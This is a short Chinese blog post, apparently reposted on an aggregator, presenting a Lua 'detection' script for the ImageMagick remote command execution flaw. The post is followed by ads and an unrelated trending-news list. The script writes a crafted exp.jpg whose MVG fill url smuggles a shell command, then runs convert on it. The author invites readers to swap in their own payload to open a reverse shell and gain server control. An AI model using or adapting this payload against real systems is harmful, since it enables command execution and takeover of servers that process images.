Sevck:ImageMagick远程命令执行工具检测工具
ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下
效果图:
用lua写了一个检测脚本
1 print ("Checking...")
2 file=io.open("exp.jpg","w")
3 --file:write("s")
4 file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n")
5 file:write("fill 'url(https://example.com/image.jpg")
6 file:write('"|echo "success!!!)')
7 file:write("'\r\n")
8 file:write("pop graphic-context")
9 file:close()
10 cmd=io.popen("convert exp.jpg test.png")
11 result=cmd:read("*all")
12 print(result)
如果存在返回
s
当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限
附上一篇分析文章:
http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 总书记深深牵挂雪域高原上的人们 4962704
- 2 小米首款汽车起售21.59万 贵吗? 4949447
- 3 雷军“朋友圈”表情包火了 4855720
- 4 抓住“热辣滚烫”的“春日经济” 4725817
- 5 黄圣依杨子直播事件6人被刑拘 4606096
- 6 小米汽车27分钟大定突破50000台 4551826
- 7 女子住民宿发现多个隐藏空间 4435488
- 8 蚂蚁集团杭州退地 周边房价直降2万 4357993
- 9 面具男用病毒针扎人系谣言 4213421
- 10 父子上演十亿家产争夺战 4172651